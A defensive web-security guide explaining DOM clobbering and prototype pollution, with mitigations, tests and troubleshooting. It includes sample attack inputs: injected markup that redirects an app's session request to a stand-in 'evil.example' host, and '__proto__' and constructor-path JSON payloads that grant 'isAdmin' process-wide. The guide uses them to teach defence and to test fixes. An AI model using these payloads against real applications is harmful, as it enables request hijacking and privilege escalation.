DOM Clobbering and Prototype Pollution Defense

Both of these vulnerabilities share an unsettling property: the payload contains no script, so nothing an injection filter is looking for is present. In one, markup creates a global reference that shadows a variable your code reads. In the other, a data key rewrites a prototype so that every object in the process suddenly answers a property it never had. In both cases your own legitimate code does the damage, which is why a strict script policy does not help and a scanner reports the page as clean.

This guide covers how each works and what actually stops it. It is part of the DOM-Based Vulnerability Sanitization guide within Vulnerability Patterns & Web Mitigation Strategies, and it complements the sink discipline described in XSS mitigation.

Prerequisites

  • An application that either accepts user-supplied markup or merges external data into objects
  • A sanitiser you can configure, if markup is involved
  • A test suite able to assert on global state and prototype properties
  • A build you can add a small runtime guard to

Expected Outcomes

  • No code path resolving configuration or elements through implicitly created globals
  • Sanitised markup stripped of the attributes that create those globals
  • Recursive merge either removed or guarded against prototype keys
  • Prototypes frozen in production, with option objects created without one

Step 1: Understand How Markup Becomes a Variable

Browsers expose named elements as properties of the document and, for some, of the global object. An attacker who can place markup on your page can therefore create a reference with a chosen name, and any code that reads that name gets an element instead of what it expected.

<!-- Injected in a comment body that the sanitiser allowed, because it contains no script -->
<a id="config" href="https://evil.example/x"></a>
<form name="settings"><input name="apiBase" value="https://evil.example"></form>
// Elsewhere, entirely legitimate code, written years earlier:
const endpoint = window.config?.apiBase || '/api';   // now resolves to the injected element
fetch(endpoint + '/session');                        // requests go to the attacker's host

Nothing here is a script injection. The sanitiser saw an anchor and a form, both harmless-looking, and the vulnerability lives entirely in a global lookup your own code performs.

The Payload Contains No Script At All An anchor with an identifier and a form with a name pass sanitisation because neither contains script. The browser exposes both as named properties. Legitimate application code reads a configuration property by name and receives the injected element instead of its expected object, sending requests to a host the attacker chose. Markup accepted an anchor and a form, no script anywhere Browser names them named elements become global properties Your code reads it window.config.apiBase resolves to the element Requests redirected Two independent fixes, both cheap Strip name and id from sanitised markup, so no injected element can ever be named. Read configuration from a module import or a data attribute you parse — never from an implicit global.
// Configure the sanitiser to remove the attributes that create references.
const clean = DOMPurify.sanitize(userHtml, {
  FORBID_ATTR: ['id', 'name'],          // no injected element can be reachable by name
  FORBID_TAGS: ['form', 'input', 'base'],
});

// And stop reading globals by name in the first place.
import { apiBase } from './config';                        // resolved at build time
const endpoint = apiBase;                                  // no lookup an element can shadow

Step 2: Understand How a Data Key Rewrites Every Object

Prototype pollution needs no markup at all — only a recursive merge and a key you did not filter.

// A utility that appears in nearly every codebase, in some form.
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      target[key] = merge(target[key] ?? {}, source[key]);   // recurses into __proto__ too
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

// From this moment, in this process:
({}).isAdmin;              // true
user.isAdmin;              // true, for every user object that does not define it

The consequences depend on what your code checks. A polluted isAdmin grants privileges; a polluted template option enables a dangerous mode; a polluted callback name turns a benign library into a gadget. The common thread is that a property nobody set now answers everywhere.

What a Polluted Property Actually Does The impact of prototype pollution depends entirely on what the application reads. A polluted authorization flag grants privileges. A polluted template or parser option enables a dangerous mode. A polluted callback or handler name turns an ordinary library into a gadget. In every case the property was never set by any code that anyone reviewed. A polluted authorization flag every object without its own value now answers true, including user objects A polluted library option a template engine or parser silently switches into a permissive mode A polluted handler or callback name an ordinary library becomes a gadget for reaching executable code The common thread a property nobody assigned now answers everywhere, process-wide
// Fix 1: reject the dangerous keys, and iterate own properties only.
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);

function safeMerge(target, source) {
  for (const key of Object.keys(source)) {            // own enumerable keys only
    if (BLOCKED.has(key)) continue;                   // never recurse into these
    const value = source[key];
    if (value && typeof value === 'object' && !Array.isArray(value)) {
      target[key] = safeMerge(Object.create(null), value);   // no prototype to pollute
    } else {
      target[key] = value;
    }
  }
  return target;
}

// Fix 2, better where possible: do not merge at all.
const opts = {
  locale: Locales.parse(input.locale),
  pageSize: clampInt(input.pageSize, 1, 100),
};                                                    // explicit fields, nothing else copied

Step 3: Make the Runtime Hostile to Both

// Run after all libraries have loaded — in production and in the full test run.
if (import.meta.env.PROD) {
  Object.freeze(Object.prototype);
  Object.freeze(Array.prototype);
  Object.freeze(Function.prototype);
  Object.freeze(Object);
}

// Parse untrusted JSON into prototype-less objects.
const config = JSON.parse(raw, function reviver(key, value) {
  if (key === '__proto__' || key === 'constructor') return undefined;
  if (value && typeof value === 'object' && !Array.isArray(value)) {
    return Object.assign(Object.create(null), value);
  }
  return value;
});

Freezing is a blunt instrument, and that is the point: an assignment to a frozen prototype fails, so the pollution never lands. Do it after libraries load, and run the whole suite afterwards — a library that patches a built-in prototype at load time will fail loudly, which is worth knowing regardless of this vulnerability.

Four Layers, From Cheapest to Most Structural Blocking dangerous keys in the merge stops the direct payload but relies on every merge site using the guarded helper. Creating objects without a prototype removes the target entirely for those objects. Explicit field assignment removes merge from the code path. Freezing prototypes in production stops the assignment from landing regardless of how it was attempted. Block dangerous keys in the merge helper stops the direct payload · relies on every call site using the guarded helper, which drift makes unlikely Create untrusted objects with no prototype removes the target for those objects entirely · costs a small amount of care with library interop Assign named fields instead of merging removes the vulnerable operation from the path · costs a few lines per call site, and reads better Freeze prototypes in production — the assignment fails wherever it is attempted

Verification

// 1. Clobbering: injected named markup must not be reachable as a global.
it('injected names do not shadow application globals', () => {
  document.body.innerHTML = sanitize('<a id="config" href="https://evil.example"></a>');
  expect(window.config).toBeUndefined();
  expect(document.getElementById('config')).toBeNull();     // stripped, not merely shadowed
});

// 2. Pollution: a payload must not reach Object.prototype.
it('merge does not pollute the prototype', () => {
  safeMerge({}, JSON.parse('{"__proto__":{"polluted":true}}'));
  expect({}.polluted).toBeUndefined();
});

// 3. Pollution through a nested path is equally refused.
it('nested constructor path is refused', () => {
  safeMerge({}, JSON.parse('{"constructor":{"prototype":{"polluted":true}}}'));
  expect({}.polluted).toBeUndefined();
});

// 4. The freeze is actually active in a production build.
it('prototypes are frozen in production', () => {
  expect(Object.isFrozen(Object.prototype)).toBe(true);
});

Run the pollution tests in a fresh worker or process. A polluted prototype persists for the rest of the run, so a test that pollutes will silently change the behaviour of everything after it — including, occasionally, making a later assertion pass for the wrong reason.


Troubleshooting

Symptom Likely cause Fix
Sanitised content loses required anchors Identifier attributes stripped wholesale Allow a prefixed identifier the application generates, never one from the input
Pollution test passes alone, fails in the suite Earlier test polluted the shared prototype Isolate the tests in a fresh process or worker
Freezing breaks a dependency at startup The library patches a built-in prototype on load Freeze after all imports; decide deliberately whether to keep that dependency
Query-string parsing pollutes Parser builds nested objects from bracket notation Configure the parser to disable prototype keys and limit depth
Objects without a prototype break a library The library calls inherited methods on the object Convert to a plain object at the boundary, after validation
Clobbering persists despite stripping The application reads a global the framework also defines Move configuration into module scope and stop reading globals

Common Implementation Mistakes


Frequently Asked Questions

Is DOM clobbering still relevant in modern frameworks?

Yes, wherever user-supplied markup reaches the page: comment bodies, rich text fields, imported documents, email previews. Frameworks protect their own rendering path, but not a sanitised HTML blob you deliberately insert. It also survives strict script policies entirely, because no script is injected — the attack changes what your existing, perfectly legitimate code reads, which is precisely why it is missed by controls aimed at script execution.

Does freezing prototypes break libraries?

Occasionally, and finding out is valuable. A library that patches built-in prototypes at load time fails loudly under a freeze, which tells you something useful about your dependency set. Freeze after all libraries have loaded, run the full suite, and if one dependency genuinely needs an unfrozen prototype, make that a deliberate decision — the decision is often worth more than the freeze.

Which is the more common of the two in practice?

Prototype pollution, by a wide margin, because recursive merge appears in configuration loading, query-string parsing, form handling and dozens of small utilities that nobody thinks of as security-relevant. Clobbering requires user-supplied markup to reach the page, which narrows the exposure. But clobbering is far more surprising when it happens, because nothing in the payload resembles code and every scanner reports the page as clean.